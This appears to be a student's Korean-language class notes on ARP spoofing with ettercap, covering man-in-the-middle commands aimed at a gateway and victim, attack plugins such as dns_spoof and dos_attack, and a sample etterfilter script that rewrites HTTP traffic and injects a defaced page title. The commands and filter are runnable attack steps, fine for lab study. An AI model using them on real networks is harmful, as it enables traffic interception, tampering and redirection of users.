07_30_arp_spoofing_필기.txt

ettercap -G : GUI
	 -T : TUI
	 -C : CLI

network hacking
arp spoofing

driftnet - 이미지 탈취 툴

같은 NI에서만 가능하다

해커가 좀비pc로 장악한 피해자PC(Kali)를 탈취 후 arp spoofing을 통해 NI 장악

Kali : sysctl -w net.ipv4.ip_forward=1

공격자(칼리)가 중간에서 트래픽을 넘겨받아 라우터와 피해자 사이의 통신이 끊기지 않도록
중계(routing)해 주어야 한다.

ettercap -T -i 네트워크_인터페이스 -M arp:공격_옵션(remote:양방향 스푸핑-->MITM / oneway:단방향 스푸핑)
	게이트웨이_IP 피해자_IP

ettercap -T -i eth0 -M arp:remote /2.1.1.1// /2.1.1.2//

주요 공격 plugin

-P 플러그인_이름
   dns_spoof : 타겟이 특정 도메인에 접속하려 할 때, 공격자가 지정한 가짜 IP로 응답을 변조하여 유도
   dos_attack : ARP 캐시를 채운다.
   remote_browser : 원격 브라우저 실행 : 타겟이 방문하는 웹페이지를 공격자의 브라우저에서 실시간으로 랜더링하여 보여준다.
   repoison_arrow / scan_poisoner : 네트워크 내의 ARP 스푸핑 상태를 모니터링하거나 주기적으로 방어기제를 우회하기 위한 패킷을 재발송한다.

피싱 : 유사 도메인으로 변환
파밍 : 


ef 파일----------------------------------------------------------

실시간 트래픽 조작 및 필터 옵션 (-F)
사용자 정의 필터 파일 적용 (-F)

설명: 패킷의 내용을 실시간으로 검사하고 특정 문자열을 변조(예: HTML injection, 이미지 바꿔치기, 특정 포트 차단)할 수 있습니다.

사용법: -F [컴파일된_필터파일.ef]

활용 시나리오:

필터 소스 작성 (예: script.txt)

etterfilter script.txt -o script.ef 로 컴파일

ettercap -T -i eth0 -F script.ef -M arp:remote /2.1.1.1// /2.1.1.2// 로 실행

# ettercap filter source sample
# 특정 패킷의 문자열을 변조하는 예시

if (ip.proto == TCP && tcp.dst == 80) {
    # HTTP 요청 패킷 중 Host 헤더나 데이터 영역에 특정 키워드가 포함되어 있는지 검사
    if (search(DATA.data, "user")) {
        msg("[-] Found target keyword 'user', replacing with 'admin'...\n");
        
        # 패킷 내의 문자열을 치환 (찾을 문자열, 바꿀 문자열)
        replace("user", "admin");
        
        # 패킷 크기가 변경되었으므로 TCP 체크섬을 자동으로 재계산
        tcp_checksum_fix();
    }
}

if (ip.proto == TCP && tcp.src == 80) {
    # 서버 응답(포트 80)에서 특정 HTML 태그나 이미지를 변조하는 예시
    if (search(DATA.data, "<title>Old Title</title>")) {
        msg("[+] Replacing web page title...\n");
        replace("<title>Old Title</title>", "<title>Hacked by Attacker</title>");
        tcp_checksum_fix();
    }
}